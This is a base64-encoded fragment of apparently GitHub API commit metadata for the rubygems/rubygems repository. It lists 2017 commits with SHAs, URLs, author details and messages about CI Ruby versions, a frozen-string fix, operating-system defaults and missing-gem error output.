fSwibWVzc2FnZSI6IlRyeSBUcmF2aXMgd2l0aCBSdWJ5IDIuMi45LCAyLjMuNiwgMi40LjMiLCJ0cmVlIjp7InNoYSI6IjEzNWJkYThiMmVlZTRkMzcxNmI0MmQwOTZmZDZlNzRiYmZjNTQ1ODgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8xMzViZGE4YjJlZWU0ZDM3MTZiNDJkMDk2ZmQ2ZTc0YmJmYzU0NTg4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNTY0YTJmNTBlMWQ2YzIwMmNkM2ZmM2YyYjQ2YzFjN2MwYzQ3NmZlYSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81NjRhMmY1MGUxZDZjMjAyY2QzZmYzZjJiNDZjMWM3YzBjNDc2ZmVhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzU2NGEyZjUwZTFkNmMyMDJjZDNmZjNmMmI0NmMxYzdjMGM0NzZmZWEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTY0YTJmNTBlMWQ2YzIwMmNkM2ZmM2YyYjQ2YzFjN2MwYzQ3NmZlYS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5In1dfSx7InNoYSI6ImJhNTk5NzdmZmQ4NGRiN2I5ZDUxYjliYzM2MTY3ZjY4ZTJjY2Q0ODMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJNU1AtR3JlZyIsImVtYWlsIjoibXNwLWdyZWdAdXNlcnMubm9yZXBseS5naXRodWIuY29tIiwiZGF0ZSI6IjIwMTctMTItMTlUMDQ6MTM6NDZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiTVNQLUdyZWciLCJlbWFpbCI6Im1zcC1ncmVnQHVzZXJzLm5vcmVwbHkuZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTEyLTE5VDEzOjA3OjUxWiJ9LCJtZXNzYWdlIjoiRnJvemVuIHN0cmluZyBmaXggLSBsaWIvcnVieWdlbXMvYnVuZGxlcl92ZXJzaW9uX2ZpbmRlci5yYiIsInRyZWUiOnsic2hhIjoiODVhZDllMmU4ZmYzYzUwMGY4OTFjMDgxMTdjOTgzNzA4MTE3NmJkNSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzg1YWQ5ZTJlOGZmM2M1MDBmODkxYzA4MTE3Yzk4MzcwODExNzZiZDUifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9iYTU5OTc3ZmZkODRkYjdiOWQ1MWI5YmMzNjE2N2Y2OGUyY2NkNDgzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JhNTk5NzdmZmQ4NGRiN2I5ZDUxYjliYzM2MTY3ZjY4ZTJjY2Q0ODMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYmE1OTk3N2ZmZDg0ZGI3YjlkNTFiOWJjMzYxNjdmNjhlMmNjZDQ4MyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iYTU5OTc3ZmZkODRkYjdiOWQ1MWI5YmMzNjE2N2Y2OGUyY2NkNDgzL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiTVNQLUdyZWciLCJpZCI6MTUwODExNzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE1MDgxMTc2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiTVNQLUdyZWciLCJpZCI6MTUwODExNzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE1MDgxMTc2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01TUC1HcmVnIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkifV19LHsic2hhIjoiNjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlbDrXQgT25kcnVjaCIsImVtYWlsIjoidm9uZHJ1Y2hAcmVkaGF0LmNvbSIsImRhdGUiOiIyMDE3LTEyLTE5VDEzOjAwOjIwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlbDrXQgT25kcnVjaCIsImVtYWlsIjoidm9uZHJ1Y2hAcmVkaGF0LmNvbSIsImRhdGUiOiIyMDE3LTEyLTE5VDEzOjAwOjIwWiJ9LCJtZXNzYWdlIjoiQWRkIEdlbS5vcGVyYXRpbmdfc3lzdGVtX2RlZmF1bHRzIHRvIGFsbG93IHBhY2thZ2VycyB0byBvdmVycmlkZSBkZWZhdWx0cy5cblxuVGhpcyBjaGFuZ2UgYWxsb3dzIFJ1YnkgcGFja2FnZXJzIHRvIG92ZXJyaWRlIGRlZmF1bHRzIGFuZCBsYXppbHkgcXVlcnlcbnRoZW0uXG5cblRoaXMgaXMgdmVyeSBtdWNoIHRoZSBzYW1lIGNoYW5nZSBhcyAjMTY0NCB0byB0cmVhdCB0aGVcbm9wZXJhdGluZ19zeXN0ZW0gZGVmYXVsdHMgdGhlIHNhbWUgd2F5IGFzIHBsYXRmb3JtIGRlZmF1bHRzLiIsInRyZWUiOnsic2hhIjoiMjg4YTBlMThlZjBkZmY1ZTBiMjNkODZhMWY2YzU4MWZjMmRlNzVjNiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzI4OGEwZTE4ZWYwZGZmNWUwYjIzZDg2YTFmNmM1ODFmYzJkZTc1YzYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoidm94aWsiLCJpZCI6MTQ0MDYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE0NDA2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3ZveGlrIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoidm94aWsiLCJpZCI6MTQ0MDYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE0NDA2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3ZveGlrIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkifV19LHsic2hhIjoiZTc5Njg0NzJjNWY0MDllYzdjY2EwZDZjZWJhOWVmOTUxODM2YWUwMSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkFydHlvbSBLaHJhbW92IiwiZW1haWwiOiJmdXR1LmZhdGFAZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMTEtMDZUMTc6NDQ6MTdaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiQXJ0eW9tIEtocmFtb3YiLCJlbWFpbCI6ImZ1dHUuZmF0YUBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMi0xOFQxMzozODo0N1oifSwibWVzc2FnZSI6IlNob3cgd2hpY2ggZ2VtIHJlZmVyZW5jZWQgYSBtaXNzaW5nIGdlbVxuXG5JZiBnZW0ncyBkZXBlbmRlbmN5IGlzIG1pc3NpbmcsIHRoZSBvdXRwdXQganVzdCBzaG93cyB0aGUgbWlzc2luZyBnZW0sXG5sZWF2aW5nIHRoZSBkZXBlbmRlbnQgZ2VtIG9ic2N1cmUuXG5cblRoaXMgY2hhbmdlIGFkZHMgZGVwZW5kZW50IGdlbSB0byB0aGUgb3V0cHV0IG1lc3NhZ2UuIiwidHJlZSI6eyJzaGEiOiJmZjEzYTEzZjA5MDk0M2QyMTg2YzUwYTM5MWM5ZTNkOGQ3ZWU0OWVlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZmYxM2ExM2YwOTA5NDNkMjE4NmM1MGEzOTFjOWUzZDhkN2VlNDllZSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2U3OTY4NDcyYzVmNDA5ZWM3Y2NhMGQ2Y2ViYTllZjk1MTgzNmFlMDEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTc5Njg0NzJjNWY0MDllYzdjY2EwZDZjZWJhOWVmOTUxODM2YWUwMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lNzk2ODQ3MmM1ZjQwOWVjN2NjYTBkNmNlYmE5ZWY5NTE4MzZhZTAxIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U3OTY4NDcyYzVmNDA5ZWM3Y2NhMGQ2Y2ViYTllZjk1MTgzNmFlMDEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJha2hyYW1vdiIsImlkIjo1Mjg5NzAwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS81Mjg5NzAwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FraHJhbW92IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3Yvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYWtocmFtb3YiLCJpZCI6NTI4OTcwMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNTI4OTcwMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWtocmFtb3YiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ha2hyYW1vdiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ha2hyYW1vdi9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FraHJhbW92L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6Y